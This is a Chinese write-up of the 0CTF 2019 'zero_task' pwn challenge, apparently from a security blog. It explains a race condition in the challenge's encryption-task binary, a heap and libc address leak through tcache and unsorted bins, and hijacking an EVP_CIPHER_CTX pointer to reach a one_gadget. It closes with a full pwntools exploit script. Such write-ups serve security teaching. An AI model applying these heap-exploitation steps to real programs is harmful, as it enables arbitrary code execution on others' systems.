0CTF 2019 zero_task条件竞争利用

阅读量    60625 | 评论 6   稿费 350

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

1.前言

0CTF2019 pwn题zerotask,难度在pwn题里最低,漏洞类型条件竞争。

 

2.题目保护

全保护开启

 

3.题目功能

题目实现了一个加密解密的功能,共有三个功能项。

1.创建任务 2.删除任务 3.执行任务

a.创建任务

该功能创建一个0x80大小的结构体。暂时命名为task

task{+0x00, data +0x08, data_size
+0x14 ,KEY +0x34 IV
……..
+0x58 EVP_CIPHER_CTX
+0x60 task_id +0x68 单链表指针
}

要求输入为task_id(任务id),加密或解密,KEY(32字节),IV(16字节),DATA_SIZE(要加密或解密的数据长度),DATA(要加密或解密的数据)。

会根据DATA_SIZE malloc出对应大小的空间。DATA_SIZE<4096

同时EVP_CIPHER_CTX_new()函数会创建一个EVP_CIPHER_CTX 对象。

功能1,会顺序创建四个堆块。

结构体task 0x80大小

EVP_CIPHER_CTX 对象,0xb0大小

EVP_CIPHER_CTX 对象创建的堆块 0x110大小。

根据DATA_SIZE分配的堆块。大小<0x1000

b.删除任务

根据task_id及单链表删除指定结构体。

c.执行任务

根据task_id寻找到对应task结构,并根据task结构实现加密或解密,加密或解密后的数据保存在提前定义好的一处堆块中。

输出加密或解密后的内容。调用限制三次

线程启动后sleep(2).存在明显的条件竞争问题。

 

3.地址泄露

通过条件竞争实现地址泄露。

执行任务线程传入参数为task结构体地址。

利用思路:例如 提前free掉task2。调用功能3加密task1.在线程sleep期间,free掉task1.task1结构会进入tcache链表,+0x00的位置会被改写为另一个提前free的task2结构。同时若task1

中的DATA_SIZE足够大,则会将task2的结构内容及EVP_CIPHER_CTX 对象,EVP_CIPHER_CTX 对象创建的堆块,根据task2,DATA_SIZE分配的堆块全部加密输出。

将输出再重新新建一个任务保持相同密钥解密,可以实现地址泄露。

利用难点及克服方法:

1.程序给的libc为2.27版本,存在tcache机制,泄露时要求task结构体free后进入tcache链表,根据DATA_SIZE分配的堆块进入unsorted_bin链表。由于只有一次泄露
的机会必须将heap地址和libc地址一并泄露。分配方法,DATA_SIZE设置为0x110同EVP_CIPHER_CTX 对象创建的堆块大小一致,创建4个后释放。此时共释放了4个0x80
大小堆块。8个0x110大小堆块。

2.如上例再free task1后EVP_CIPHER_CTX 对象会被释放。导致加密出现异常。若重新创建任务会导致task1结构体被重新malloc。克服方法。

free(1)
free(2)
free(3)
ad(0xa0)
ad(0x8)

EVP_CIPHER_CTX 对象为0xb0大小,共创建了2个0x80结构,3个0xb0结构。此时task1结构未被malloc,里面的EVP_CIPHER_CTX 对象被重新创建。

EVP_CipherUpdate为加密函数。rdi为EVP_CIPHER_CTX对象,rcx为被加密数据的堆块。r8为加密大小。可以看到加密数据中已包含堆地址及libc地址。

 

4.代码执行

有了libc地址需要找到办法控制程序流程跳转到one_gadget,但是程序功能中未找到可用的内存写功能。加密及解密的数据都放在了一个提前定义好的堆块中。

条件竞争并不能帮助我们写地址。

通过追踪程序加密函数EVP_CipherUpdate,根据EVP_CIPHER_CTX 对象+0x10数据判断加密还是解密。

我选择跟进加密流程EVP_EncryptUpdate。里面有一处相对调用。这里将EVP_CIPHER_CTX +0x0结构随意命名为E。

程序会调用E结构+0x20处的指,前提是通过test,[e+0x12],0x10。利用方法就一目了然了,通过条件竞争重新分配EVP_CIPHER_CTX对象,使其E结构指向一处堆块。

在堆块中布局使[E+0x20]指向one_gadget即可完成利用。

free(1)
free(2)
ad(‘0xa0’)


5.脚本

from pwn import *
import time
p=process('./task')
e=ELF('./libc-2.27.so')
#p=remote('111.186.63.201',10001)
p.readuntil('Choice:')
context(log_level='debug')


def ad(a,b,c,d,e,f):
    p.writeline('1')
    p.readuntil('Task id :')
    p.writeline(a)
    p.readuntil('Encrypt(1) / Decrypt(2):')
    p.writeline(b)
    p.readuntil('Key :')
    p.write(c)
    p.readuntil('IV :')
    p.write(d)
    p.readuntil('Data Size :')
    p.writeline(e)
    p.readuntil('Data')
    p.write(f)
    p.readuntil('Choice:')
def de(a):
    p.writeline('2')
    p.readuntil('Task id :')
    p.writeline(a)
    p.readuntil('Choice:')
def go(a):
    p.writeline('3')
    p.readuntil('Task id :')
    p.writeline(a)
    p.readuntil('Choice:')

for i in range(0,4):
    ad(str(i),'1','a'*32,'a'*16,'256','1'*256)


ad('20','1','a'*32,'a'*16,'592','1'*592)
ad('21','1','a'*32,'a'*16,'8','1'*8)
ad('22','1','a'*32,'a'*16,'8','1'*8)
ad('23','1','a'*32,'a'*16,'8','1'*8)
ad('24','1','a'*32,'a'*16,'8','1'*8)
for i in range(0,4):
    de(str(i))

go('20')
de('20')

de('21')
de('22')
ad('21','1','a'*32,'a'*16,'160','1'*160)
ad('22','1','a'*32,'a'*16,'8','1'*8)
p.readuntil('Ciphertext: n')

st=''

for i in range(0,38):
    q=0



    for ii in range(0,16):
            zzz=p.read(3)

            zz=chr(int(zzz[0:2],16))


            st+=zz
            if 'n'in zzz:
                q=1
                break
    if q==0:
        p.read(1)        



ad('66','2','a'*32,'a'*16,str(len(st)),st)
go('66')
p.readuntil('Ciphertext: n')

z=p.readuntil('20 ')
z=chr(0x20)
for i in range(0,7):
    z+=chr(int(p.read(3)[0:2],16))
heap=u64(z)-0x980+0x7b0+0x100-0x850+0x10a0
p.readuntil('11 01 ')
z=p.readuntil('na0 ')
z=chr(0xa0)
for i in range(0,7):
    z+=chr(int(p.read(3)[0:2],16))

libc=u64(z)-4111776
one=libc+0x10a38c
success(hex(libc))
success(hex(heap))




gdb.attach(p)

go('22')
de('22')
de('23')



ad('23','1','a'*32,'a'*16,'160',p64(heap)+'1'*120+p64(one)*4)

success(hex(heap))

success(hex(libc))

p.interactive()
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多